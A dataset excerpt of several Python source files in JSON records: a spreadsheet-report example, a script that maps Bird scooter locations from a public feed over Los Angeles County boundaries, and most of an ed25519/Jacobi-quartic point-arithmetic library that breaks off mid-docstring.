"usage_type": "call"}, {"api_name": "os.path.join", "line_number": 297, "usage_type": "call"}, {"api_name": "os.path", "line_number": 297, "usage_type": "attribute"}, {"api_name": "os.path.isfile", "line_number": 299, "usage_type": "call"}, {"api_name": "os.path", "line_number": 299, "usage_type": "attribute"}, {"api_name": "os.remove", "line_number": 300, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 302, "usage_type": "call"}, {"api_name": "os.path", "line_number": 302, "usage_type": "attribute"}, {"api_name": "os.path.isfile", "line_number": 304, "usage_type": "call"}, {"api_name": "os.path", "line_number": 304, "usage_type": "attribute"}, {"api_name": "os.remove", "line_number": 305, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 324, "usage_type": "call"}, {"api_name": "os.path", "line_number": 324, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 325, "usage_type": "call"}, {"api_name": "os.path", "line_number": 325, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 326, "usage_type": "call"}, {"api_name": "os.path", "line_number": 326, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 327, "usage_type": "call"}, {"api_name": "os.path", "line_number": 327, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 331, "usage_type": "call"}, {"api_name": "os.path", "line_number": 331, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 332, "usage_type": "call"}, {"api_name": "os.path", "line_number": 332, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 333, "usage_type": "call"}, {"api_name": "os.path", "line_number": 333, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 335, "usage_type": "call"}, {"api_name": "os.path", "line_number": 335, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 336, "usage_type": "call"}, {"api_name": "os.path", "line_number": 336, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 368, "usage_type": "call"}, {"api_name": "os.path", "line_number": 368, "usage_type": "attribute"}, {"api_name": "os.path.isfile", "line_number": 369, "usage_type": "call"}, {"api_name": "os.path", "line_number": 369, "usage_type": "attribute"}, {"api_name": "os.remove", "line_number": 370, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 373, "usage_type": "call"}, {"api_name": "os.path", "line_number": 373, "usage_type": "attribute"}, {"api_name": "os.path.isfile", "line_number": 374, "usage_type": "call"}, {"api_name": "os.path", "line_number": 374, "usage_type": "attribute"}, {"api_name": "os.remove", "line_number": 375, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 378, "usage_type": "call"}, {"api_name": "os.path", "line_number": 378, "usage_type": "attribute"}, {"api_name": "os.path.isfile", "line_number": 379, "usage_type": "call"}, {"api_name": "os.path", "line_number": 379, "usage_type": "attribute"}, {"api_name": "os.remove", "line_number": 380, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 383, "usage_type": "call"}, {"api_name": "os.path", "line_number": 383, "usage_type": "attribute"}, {"api_name": "os.path.isfile", "line_number": 384, "usage_type": "call"}, {"api_name": "os.path", "line_number": 384, "usage_type": "attribute"}, {"api_name": "os.remove", "line_number": 385, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 389, "usage_type": "call"}, {"api_name": "os.path", "line_number": 389, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 390, "usage_type": "call"}, {"api_name": "os.path", "line_number": 390, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 391, "usage_type": "call"}, {"api_name": "os.path", "line_number": 391, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 392, "usage_type": "call"}, {"api_name": "os.path", "line_number": 392, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 419, "usage_type": "call"}, {"api_name": "os.path", "line_number": 419, "usage_type": "attribute"}, {"api_name": "os.path.isfile", "line_number": 420, "usage_type": "call"}, {"api_name": "os.path", "line_number": 420, "usage_type": "attribute"}, {"api_name": "os.remove", "line_number": 421, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 425, "usage_type": "call"}, {"api_name": "os.path", "line_number": 425, "usage_type": "attribute"}, {"api_name": "os.path.isfile", "line_number": 426, "usage_type": "call"}, {"api_name": "os.path", "line_number": 426, "usage_type": "attribute"}, {"api_name": "os.remove", "line_number": 427, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 430, "usage_type": "call"}, {"api_name": "os.path", "line_number": 430, "usage_type": "attribute"}, {"api_name": "os.path.isfile", "line_number": 431, "usage_type": "call"}, {"api_name": "os.path", "line_number": 431, "usage_type": "attribute"}, {"api_name": "os.remove", "line_number": 432, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 465, "usage_type": "call"}, {"api_name": "os.path", "line_number": 465, "usage_type": "attribute"}, {"api_name": "os.path.isfile", "line_number": 466, "usage_type": "call"}, {"api_name": "os.path", "line_number": 466, "usage_type": "attribute"}, {"api_name": "os.remove", "line_number": 467, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 470, "usage_type": "call"}, {"api_name": "os.path", "line_number": 470, "usage_type": "attribute"}, {"api_name": "os.path.isfile", "line_number": 471, "usage_type": "call"}, {"api_name": "os.path", "line_number": 471, "usage_type": "attribute"}, {"api_name": "os.remove", "line_number": 472, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 475, "usage_type": "call"}, {"api_name": "os.path", "line_number": 475, "usage_type": "attribute"}, {"api_name": "os.path.isfile", "line_number": 476, "usage_type": "call"}, {"api_name": "os.path", "line_number": 476, "usage_type": "attribute"}, {"api_name": "os.remove", "line_number": 477, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 495, "usage_type": "call"}, {"api_name": "os.path", "line_number": 495, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 496, "usage_type": "call"}, {"api_name": "os.path", "line_number": 496, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 497, "usage_type": "call"}, {"api_name": "os.path", "line_number": 497, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 498, "usage_type": "call"}, {"api_name": "os.path", "line_number": 498, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 518, "usage_type": "call"}, {"api_name": "os.path", "line_number": 518, "usage_type": "attribute"}, {"api_name": "os.path.isfile", "line_number": 519, "usage_type": "call"}, {"api_name": "os.path", "line_number": 519, "usage_type": "attribute"}, {"api_name": "os.remove", "line_number": 520, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 523, "usage_type": "call"}, {"api_name": "os.path", "line_number": 523, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 526, "usage_type": "call"}, {"api_name": "os.path", "line_number": 526, "usage_type": "attribute"}, {"api_name": "os.path.isfile", "line_number": 528, "usage_type": "call"}, {"api_name": "os.path", "line_number": 528, "usage_type": "attribute"}, {"api_name": "os.remove", "line_number": 529, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 546, "usage_type": "call"}, {"api_name": "os.path", "line_number": 546, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 547, "usage_type": "call"}, {"api_name": "os.path", "line_number": 547, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 548, "usage_type": "call"}, {"api_name": "os.path", "line_number": 548, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 549, "usage_type": "call"}, {"api_name": "os.path", "line_number": 549, "usage_type": "attribute"}, {"api_name": "os.system", "line_number": 558, "usage_type": "call"}, {"api_name": "os.system", "line_number": 563, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 580, "usage_type": "call"}, {"api_name": "os.path", "line_number": 580, "usage_type": "attribute"}, {"api_name": "xarray.open_dataset", "line_number": 581, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 586, "usage_type": "call"}, {"api_name": "os.path", "line_number": 586, "usage_type": "attribute"}, {"api_name": "xarray.open_dataset", "line_number": 587, "usage_type": "call"}, {"api_name": "numpy.fabs", "line_number": 591, "usage_type": "call"}, {"api_name": "numpy.fabs", "line_number": 592, "usage_type": "call"}, {"api_name": "numpy.fabs", "line_number": 599, "usage_type": "call"}, {"api_name": "numpy.fabs", "line_number": 600, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 610, "usage_type": "call"}, {"api_name": "shutil.move", "line_number": 611, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 611, "usage_type": "call"}, {"api_name": "os.path", "line_number": 611, "usage_type": "attribute"}, {"api_name": "os.path.isfile", "line_number": 613, "usage_type": "call"}, {"api_name": "os.path", "line_number": 613, "usage_type": "attribute"}, {"api_name": "os.remove", "line_number": 614, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 616, "usage_type": "call"}, {"api_name": "os.path", "line_number": 616, "usage_type": "attribute"}, {"api_name": "os.remove", "line_number": 617, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 621, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 622, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 624, "usage_type": "call"}, {"api_name": "os.path", "line_number": 624, "usage_type": "attribute"}, {"api_name": "shutil.copyfile", "line_number": 626, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 628, "usage_type": "call"}, {"api_name": "os.path", "line_number": 628, "usage_type": "attribute"}, {"api_name": "shutil.copyfile", "line_number": 630, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 632, "usage_type": "call"}, {"api_name": "os.path", "line_number": 632, "usage_type": "attribute"}, {"api_name": "shutil.copyfile", "line_number": 634, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 637, "usage_type": "call"}, {"api_name": "os.path", "line_number": 637, "usage_type": "attribute"}, {"api_name": "shutil.copyfile", "line_number": 639, "usage_type": "call"}, {"api_name": "shutil.move", "line_number": 671, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 677, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 678, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 679, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 680, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 681, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 682, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 683, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 684, "usage_type": "attribute"}, {"api_name": "os.getcwd", "line_number": 687, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 700, "usage_type": "call"}, {"api_name": "os.path", "line_number": 700, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 701, "usage_type": "call"}, {"api_name": "os.path", "line_number": 701, "usage_type": "attribute"}]} {"seq_id": "20394529", "text": "import os\nimport pandas as pd\nfrom PIL import Image\nfrom matplotlib.figure import Figure\nfrom xlwings_reports import create_report # not part of the open-source xlwings package\n\nfig = Figure(figsize=(4, 3))\nax = fig.add_subplot(111)\nax.plot([1, 2, 3, 4, 5])\n\nperf_data = pd.DataFrame(index=['r1', 'r1'],\n columns=['c0', 'c1'],\n data=[[1., 2.], [3., 4.]])\n\nwb = create_report('template1.xlsx',\n 'output.xlsx',\n perf=0.12 * 100,\n perf_data=perf_data,\n logo=Image.open(os.path.abspath('xlwings.jpg')),\n fig=fig)\n", "sub_path": "reporting/report.py", "file_name": "report.py", "file_ext": "py", "file_size_in_byte": 648, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "matplotlib.figure.Figure", "line_number": 7, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 11, "usage_type": "call"}, {"api_name": "xlwings_reports.create_report", "line_number": 15, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 19, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 19, "usage_type": "name"}, {"api_name": "os.path.abspath", "line_number": 19, "usage_type": "call"}, {"api_name": "os.path", "line_number": 19, "usage_type": "attribute"}]} {"seq_id": "640427374", "text": "import numpy\nimport matplotlib.pyplot as plt\nimport requests\nimport json\nimport pandas\nimport geopandas as gpd\nimport pyproj\nimport fiona\nfrom shapely.geometry import Point, Polygon\n\nmy_lacounty_shapefile = 'c:/Users/rasunci/gitstuff/DPW_CITY_BOUNDARIES/DPW_CITY_BOUNDARIES.shp'\nmy_lacounty_gdf = gpd.read_file(my_lacounty_shapefile)\n\nmy_fig = plt.figure(figsize=(16, 10), tight_layout=True)\nmy_ax = my_fig.add_subplot()\nmy_ax.set_xlim(6350000, 6650000)\nmy_ax.set_ylim(1550000, 1900000)\nmy_lacounty_gdf.plot(ax=my_ax, color='orange', edgecolor='black')\n\nmy_url = 'https://mds.bird.co/gbfs/los-angeles/free_bikes'\nmy_file = 'c:/Users/rasunci/gitstuff/bird/free_bikes.json'\nmy_bird_data = ''\nmy_bird_locs = []\n\nif (True):\n my_r = requests.get(my_url)\n if my_r.status_code == 200:\n my_bird_data = my_r.json()\n else:\n print('error handler here')\nelse:\n with open(my_file) as my_fh:\n my_json = my_fh.read()\n my_bird_data = json.loads(my_json)\n\nmy_bird_bikes = my_bird_data['data']['bikes']\nfor i in range(10):\n my_bike = my_bird_bikes[i]['bike_id']\n my_lon = my_bird_bikes[i]['lon']\n my_lat = my_bird_bikes[i]['lat']\n my_bird_locs.append([my_bike, my_lon, my_lat])\n\nmy_bird_df = pandas.DataFrame(my_bird_bikes)\nmy_bird_geom = [Point(lon, lat) for lon, lat in zip(my_bird_df['lon'], my_bird_df['lat'])]\nmy_bird_geom_df = pandas.DataFrame(my_bird_geom, columns=['geometry'])\nmy_bird_gis_df = my_bird_df.join(my_bird_geom_df)\nmy_bird_gpd = gpd.GeoDataFrame(my_bird_gis_df, crs={'init':'epsg:4326'})\nmy_bird_gpd['geometry'] = my_bird_gpd['geometry'].to_crs(epsg=2229)\n\nmy_bird_gpd.plot(ax=my_ax, color='yellow')\n\nplt.show()\n", "sub_path": "map_bird_scooters.py", "file_name": "map_bird_scooters.py", "file_ext": "py", "file_size_in_byte": 1663, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "geopandas.read_file", "line_number": 12, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 14, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 14, "usage_type": "name"}, {"api_name": "requests.get", "line_number": 26, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 34, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 43, "usage_type": "call"}, {"api_name": "shapely.geometry.Point", "line_number": 44, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 45, "usage_type": "call"}, {"api_name": "geopandas.GeoDataFrame", "line_number": 47, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.show", "line_number": 52, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 52, "usage_type": "name"}]} {"seq_id": "391348255", "text": "import random\nimport common\n\nq = 2**255-19 # order of the field---hence the name ed25519\n\n# order of the baseReferencePoint\nl = 2**252 + 27742317777372353535851937790883648493 \n\nd = (-121665 * pow(121666,q-2,q))%q\n\n# (d+1)^-1 = 121666\n\ndef scalar_pack(s):\n s %= l\n result = 32*[0]\n for i in range(32):\n result[i] = s % (2**8)\n s //= (2**8)\n return bytes(result)\n\ndef scalar_unpack(data):\n if(len(data)!=32):\n raise Error(\"invalid encoding of scalar: length is not 32,\"\n f\" but {len(data)}.\")\n\n s = 0\n for i in range(31):\n s += data[i]*pow(2, 8*i, l)\n s %= l\n # ignore first three bits\n s += (data[31]&0x1f)*pow(2,8*31,l)\n s %= l\n\n return s\n\ndef scalar_random():\n return random.randint(0,l-1)\n\ndef scalar_inv(s):\n s %= l\n if s==0:\n raise DivisionByZero()\n return pow(s,l-2,l) # (Fermat's little theorem)\n\ndef fe_is_positive(f):\n return (f%q)%2==0\n\ndef fe_inv(f):\n f%=q\n if f==0:\n raise DivisionByZero()\n return pow(f,q-2,q) # (Fermat's little theorem)\n\n# returns a positive square root of f\ndef fe_sqrt(f):\n g = fe_sqrt_any(f)\n if fe_is_positive(g):\n return g\n return q-g\n\n# TODO: add ref to Legendre\ndef fe_sqrt_any(f):\n f = f % q\n g = pow(f,(q+3)//8,q) \n gg = g**2%q\n if gg==f:\n return g\n elif q-gg==f:\n return (pow(2,(q-1)//4,q)*g)%q\n raise NotASquare()\n\ndef fe_is_sqrt(f):\n try:\n fe_sqrt_any(f)\n except NotASquare as e:\n return False\n return True\n\ndef fe_random():\n return random.randint(0,q-1)\n\ndef fe_pack(f):\n result = 32*[0]\n f %= q\n for i in range(32):\n result[i] = f % (2**8)\n f //= (2**8)\n return bytes(result)\n\ndef fe_unpack(data):\n assert(len(data)==32)\n f = 0\n for i in range(31):\n f += data[i]*(2**(8*i))\n # ignore final bit\n f += (0b01111111 & data[31])*(2**(8*31))\n return f\n\ni = fe_sqrt(-1)\nmagic = fe_inv(-fe_sqrt_any(-d-1))\n# magic is the _negative_ square root of -121666\n\n# ReferencePoint on the twisted edwards curve\n# y^2 - x^2 = 1 + dx^2y^2\nclass ReferencePoint:\n # TODO: correct this method to yield a proper representative\n @staticmethod\n def from_y_and_sign(y,x_is_positive,check=True):\n try:\n x = fe_sqrt((y**2-1)*fe_inv(d*y**2+1))\n except NotASquare:\n raise NotOnCurve()\n if x_is_positive!=fe_is_positive(x):\n x = -x%q\n return ReferencePoint(x,y, check=check)\n\n @staticmethod\n def from_s(s):\n if not fe_is_positive(s):\n raise SIsNegative()\n\n try:\n x = fe_sqrt( 4*s**2 * fe_inv(-d*(1-s**2)**2 - (1+s**2)**2) )\n except NotASquare:\n raise Odd()\n y = (1-s**2)*fe_inv(1+s**2)\n\n if not fe_is_positive(x*y):\n raise InvalidRepresentative(\"x*y is negative\")\n if y%q==0:\n raise InvalidRepresentative(\"y=0\")\n\n return ReferencePoint(x,y,check=False)\n\n @staticmethod\n def unpack(data):\n if len(data)!=32:\n raise InvalidEncoding(f\"length={len(data)} != 32\")\n elif data[31]//128!=0: # the C library ignores this last bit\n raise InvalidEncoding(\"last bit is not 0\")\n \n return ReferencePoint.from_s(fe_unpack(data))\n\n @staticmethod\n def hash(data):\n return ReferencePoint.elligator2(fe_unpack(common.sha256(data)))\n\n @staticmethod\n def random():\n while True:\n try:\n y = fe_random()\n x_is_positive = True #(random.randint(0,1)==1)\n half = ReferencePoint.from_y_and_sign(y,x_is_positive, check=False)\n except InvalidPoint:\n continue\n return half + half\n\n def __init__(self,x,y, check=True):\n self.x = x % q\n self.y = y % q\n if check:\n self.check()\n\n def check(self):\n if (self.y**2-self.x**2)%q != (1+d*self.x**2*self.y**2)%q:\n raise NotOnCurve()\n if not (self * (4*l)).is_exactly(ReferencePoint.Zero):\n raise Odd()\n\n def Copy(self):\n return ReferencePoint(self.x, self.y, check=False)\n\n def point(self):\n return Point.from_refpoint(self)\n\n def normalized(self):\n x = self.x\n y = self.y\n\n if not fe_is_positive(x*y) or y==0:\n x,y = (y*i)%q, (x*i)%q\n if (y+1) % q == 0: # i.e. y = -1 mod q\n y=1\n if not fe_is_positive(x):\n x,y = q-x,q-y \n\n return (x,y)\n\n def normalize(self):\n self.x, self.y = self.normalized()\n\n def s(self):\n x,y = self.normalized()\n try:\n return fe_sqrt( (1-y)*fe_inv(1+y) )\n except NotASquare:\n assert(False) # should not happen if the ReferencePoint is even\n\n def pack(self):\n return fe_pack(self.s())\n \n def __add__(self, other):\n xden = fe_inv(1+d*self.x*other.x*self.y*other.y)\n yden = fe_inv(1-d*self.x*other.x*self.y*other.y)\n\n return ReferencePoint( (self.x*other.y + other.x*self.y)*xden,\n (self.y*other.y+self.x*other.x)*yden, check=False )\n\n def __eq__(self, other):\n if not isinstance(other, ReferencePoint):\n return NotImplemented\n return (self.x*other.y - other.x*self.y)%q==0 or \\\n (self.x*other.x - self.y*other.y)%q==0\n\n def equivalence_class(self):\n # doesn't include the odd points\n x,y = self.x,self.y\n yield self\n yield ReferencePoint(-x,-y,check=False)\n yield ReferencePoint(i*y,i*x, check=False)\n yield ReferencePoint(-i*y,-i*x, check=False)\n\n def is_exactly(self,other):\n if not isinstance(other, ReferencePoint):\n return NotImplemented\n return (self.x==other.x) and (self.y==other.y)\n\n def __ne__(self, other):\n return not self.__eq__(other)\n\n def __sub__(self, other):\n if isinstance(other,ReferencePoint):\n return self + -other\n return NotImplemented\n\n def double(self):\n return self+self\n\n def double_in_place(self):\n double = self+self\n self.x = double.x\n self.y = double.y\n\n def __neg__(self):\n return ReferencePoint(-self.x, self.y, check=False)\n\n def __mul__(self, other):\n return double_and_add_multiplication(self, other, ReferencePoint.Zero)\n\n def __repr__(self):\n return \"ReferencePoint(%s,%s)\" % (self.x, self.y)\n\n\n # The curve ed25519 is equivalent to the montgomery curve\n # v**2 + = u**3 + 486662 u**2 + u \n # known as curve25519. The following methods provide the \n # translation.\n def montgomery(self):\n x,y = self.normalized()\n u = (1-y)*fe_inv(1+y)\n v = u*fe_inv(x)*fe_sqrt(-486664) if x!=0 else 0\n return (u%q,v%q)\n\n @staticmethod\n def from_montgomery(u, v):\n x = (fe_sqrt(-486664)*u*fe_inv(v))%q if v!=0 else 0\n y = ((1-u)*fe_inv(1+u))%q\n return ReferencePoint(x,y)\n\n def _jacobi_quartic_slow(self):\n x,y = self.x, self.y\n if x==0:\n # y is now either +1 or -1\n if y==1:\n return JacobiQuartic(0,1,check=False)\n elif y==q-1:\n return JacobiQuartic(1,1,0,check=False)\n else:\n assert(False)\n return JacobiQuartic(0,y,check=False)\n s = fe_sqrt( (1-y)*fe_inv(1+y) ) # y won't be -1 here\n t = (2*s*magic * fe_inv(x))%q\n return JacobiQuartic(s,t, check=False)\n\n def jacobi_quartic(self):\n x,y = self.x, self.y\n if x==0:\n # y is now either +1 or -1\n if y==1:\n return JacobiQuartic(0,1,check=False)\n elif y==q-1:\n return JacobiQuartic(1,1,0,check=False)\n else:\n assert(False)\n\n z = ( fe_sqrt(1-pow(y,2,q))*x ) % q\n sz = ( (1-y)*x ) % q\n tz2 = ( 2*z*(1-y)*magic ) % q\n\n return JacobiQuartic(sz, tz2, z, check=False)\n\n def t(self):\n x,y = self.normalized()\n return (2*self.s()*magic*fe_inv(x)) % q\n\n @staticmethod\n def elligator2(x):\n return JacobiQuartic.elligator2(x).refpoint()\n\n def elligator2_inv(self):\n return self.point().elligator2_inv()\n\n @staticmethod\n def lizard(payload, N=16):\n return Point.lizard(payload,N).refpoint()\n\n def lizard_inv(self, N=16):\n return self.point().lizard_inv(N)\n\n# The curve ed25519 is also equivalent to the jacobi quartic\n# s^4 + 2( 1-2d/(d+1) )s^2 + 1 = t^2\n# which becomes\n# (sz)^4 + 2( 1-2d/(d+1) )(sz)^2z^2 + z^4 = (tz^2)^2\n# in projective coordinates.\na_quartic = ( 1- (2*d)*fe_inv(d+1) ) % q\n\nclass JacobiQuartic:\n def __init__(self, sz, tz2, z=1, check=True):\n self._sz = sz % q\n self._tz2 = tz2 % q\n self._z = z % q\n\n if check: self.check()\n\n def Copy(self):\n return JacobiQuartic(self._sz, self._tz2, self._z, check=False)\n\n def check(self):\n sz,tz2,z = self._sz,self._tz2,self._z\n if ( pow(sz,4,q) + 2*a_quartic*pow(sz,2,q)*pow(z,2,q) \n + pow(z,4,q) )%q != pow(tz2,2,q):\n raise InvalidPoint()\n\n def st(self):\n \"\"\"Returns (s,t)-coordinates for this point when they exist. \"\"\"\n \"\"\"Otherwise throws an Infinite exception.\"\"\"\n if self._z==0:\n raise Infinite()\n zinv = fe_inv(self._z)\n return ((zinv*self._sz)%q, (zinv**2*self._tz2)%q)\n\n @staticmethod\n def from_s(s,positive_t=True):\n a = (pow(s,4,q) + 2*a_quartic*pow(s,2,q)+1)%q\n t = fe_sqrt(a)\n if not positive_t:\n t = q - t\n return JacobiQuartic(s,t,check=False)\n\n @staticmethod\n def random():\n \"\"\"returns a random non-infinite point on the jacobi quartic\"\"\"\n positive_t = (random.getrandbits(1)==0)\n while True:\n try:\n # has 50% chance to succeed\n return JacobiQuartic.from_s(fe_random(),positive_t)\n except NotASquare:\n continue\n\n def random_infinite():\n \"\"\"returns a random infinite point on the jacobi quartic\"\"\"\n if random.getrandbits(1)==0:\n return JacobiQuartic(1,1,0,check=False)\n else:\n return JacobiQuartic(1,-1,0,check=False)\n\n def re_z(self):\n \"\"\"Scales the projective point by a random scalar z \"\"\"\n \"\"\"(which doesn't essentially change the point).\"\"\"\n w = fe_random()\n return JacobiQuartic(self._sz*w, self._tz2*w*w, self._z*w, check=False)\n\n def point(self):\n sz,tz2,z = self._sz,self._tz2,self._z\n _2szzmagic = (2*sz*z*magic)%q\n z2 = pow(z,2,q)\n sz_2 = pow(sz,2,q)\n\n X = _2szzmagic * ( z2 + sz_2 )\n Y = tz2 * ( z2 - sz_2 )\n Z = tz2 * ( z2 + sz_2 )\n T = _2szzmagic * (z2 - sz_2 )\n\n return Point(X,Y,Z,T)\n\n def refpoint(self):\n sz,tz2,z = self._sz,self._tz2,self._z\n x = (2*sz*z*magic * fe_inv(tz2)) % q # tz^2 will never be 0\n y = ((z*z - sz*sz) * fe_inv(z*z + sz*sz)) % q \n # \\_ z^2 and -(sz)^2 will never be equal \n return ReferencePoint(x, y, check=False)\n\n def _refpoint_st(self):\n s,t = self.st()\n x = (2*s*magic * fe_inv(t)) % q # t will never be 0\n y = ((1 - s*s) * fe_inv(1 + s*s)) % q \n # \\_ 1 and -s^2 will never be equal \n return ReferencePoint(x, y, check=False)\n\n def is_exactly(self, other):\n if self._z == 0:\n if other._z != 0:\n return False\n return (self._sz**2 * other._tz2 \n - other._sz**2 * self._tz2) % q == 0\n return ( (self._sz * other._z - other._sz * self._z)%q==0 ) \\\n and ( (self._tz2 * other._z**2 - other._tz2 * self._z**2)%q==0 )\n\n def _is_exactly_st(self, other):\n if self._z == 0:\n if other._z != 0:\n return False\n return (self._sz**2 * other._tz2 \n - other._sz**2 * self._tz2) % q == 0\n s1,t1 = self.st()\n s2,t2 = other.st()\n return (s1==s2) and (t1==t2)\n\n def dual(self):\n return JacobiQuartic(-self._sz, -self._tz2, self._z, check=False)\n\n def is_exactly_or_dual(self, other):\n return self.is_exactly(other) or self.is_exactly(other.dual())\n \n def equivalence_class(self):\n for a in self._equivalence_class_part():\n yield a\n for a in (self+JacobiQuartic(1, fe_sqrt(486664), check=False))\\\n ._equivalence_class_part():\n yield a\n\n def _equivalence_class_part(self):\n sz,tz2,z = self._sz,self._tz2,self._z\n yield self.Copy()\n yield JacobiQuartic( -sz, -tz2, z, check=False)\n yield JacobiQuartic( z, -tz2, sz, check=False)\n yield JacobiQuartic( -z, tz2, sz, check=False)\n\n def __eq__(self, other):\n for a in self.equivalence_class():\n if a.is_exactly(other):\n return True\n return False\n\n def __repr__(self):\n return f\"JacobiQuartic({self._sz}, {self._tz2}, {self._z})\"\n\n def __add__(self, other):\n sz_1, tz2_1, z_1 = self._sz, self._tz2, self._z\n sz_2, tz2_2, z_2 = other._sz, other._tz2, other._z\n\n z = (pow(z_1,2,q)*pow(z_2,2,q) - pow(sz_1,2,q)*pow(sz_2,2,q) )%q\n s = ( sz_1*z_1*tz2_2 + sz_2*z_2*tz2_1 )%q\n t = ( (tz2_1*tz2_2 + 2*a_quartic*z_1*z_2*sz_1*sz_2)\n * ( pow(z_1,2,q)*pow(z_2,2,q) + pow(sz_1,2,q)*pow(sz_2,2,q) )\n + 2*z_1*z_2*sz_1*sz_2 \n * ( pow(sz_1,2,q)*pow(z_2,2,q) + pow(sz_2,2,q)*pow(z_1,2,q) )\n )%q\n\n return JacobiQuartic(s,t,z,check=False)\n\n def _add_st(self, other):\n s1,t1 = self.st()\n s2,t2 = other.st()\n\n den = fe_inv( 1 - pow(s1,2,q)*pow(s2,2,q) )\n \n s3 = ( (s1*t2 + t1*s2) * den ) % q\n t3 = ( ( (t1*t2+2*a_quartic*s1*s2)*(1+ s1*s1*s2*s2) \\\n + 2*s1*s2*(s1*s1+s2*s2) ) * den*den ) % q\n\n return JacobiQuartic(s3,t3,check=False)\n\n def __neg__(self):\n return JacobiQuartic(-self._sz,self._tz2,self._z,check=False)\n\n def __sub__(self,other):\n return self+(-other)\n\n @staticmethod\n def Zero():\n return JacobiQuartic(0,1,check=False)\n\n @staticmethod\n def elligator2(x):\n \"\"\"Provides an injection from the positive scalars below q \"\"\"\n \"\"\"to the points of the JacobiQuartic.\"\"\"\n \"\"\"Further, elligator(x)=elligator(-x)\"\"\"\n r = (i * x * x) % q\n if (d+r)%q==0:\n return JacobiQuartic(0,1,check=False)\n den = fe_inv(((d * r + 1) * (-d - r)) % q)\n n1 = -(r + 1) * (-1 + d) * (d + 1) * den\n n2 = r * n1\n try:\n s, t = fe_sqrt(n1), (-(r-1)*(-1 + d)**2 * den - 1) %q\n # s will be positive\n except NotASquare:\n s, t = -fe_sqrt(n2) % q, (r*(r-1)*(-1 + d)**2 * den - 1) %q\n # s is negative\n return JacobiQuartic(s,t,check=False)\n\n def _elligator2_inv_slow(self):\n \"\"\"Returns positive x such that self=elligator2(x)=elligator2(-x)\n if it exists; otherwise throws NoPreimage.\"\"\"\n try:\n s,t = self.st()\n except Infinite:\n raise NoPreimage()\n \n if s==0:\n # now either t=1 or t=-1\n if t==1: \n return fe_sqrt(i*d)\n else:\n assert(q-t==1)\n return 0\n\n # b will be +- (r-1)/(r+1) depending on the sign of s\n b = ( ((t+1)*(d+1)) * fe_inv(s*s*(d-1)) ) % q\n if not fe_is_positive(s):\n b = q - b\n\n r = ( -(b+1) * fe_inv((b-1)%q) ) % q # b won't be 1\n \n try:\n return fe_sqrt(-i * r)\n except NotASquare:\n raise NoPreimage()\n\n def elligator2_inv(self, s_is_positive=None):\n \"\"\"Returns positive x such that self=elligator2(x)=elligator2(-x)\n if it exists; otherwise throws 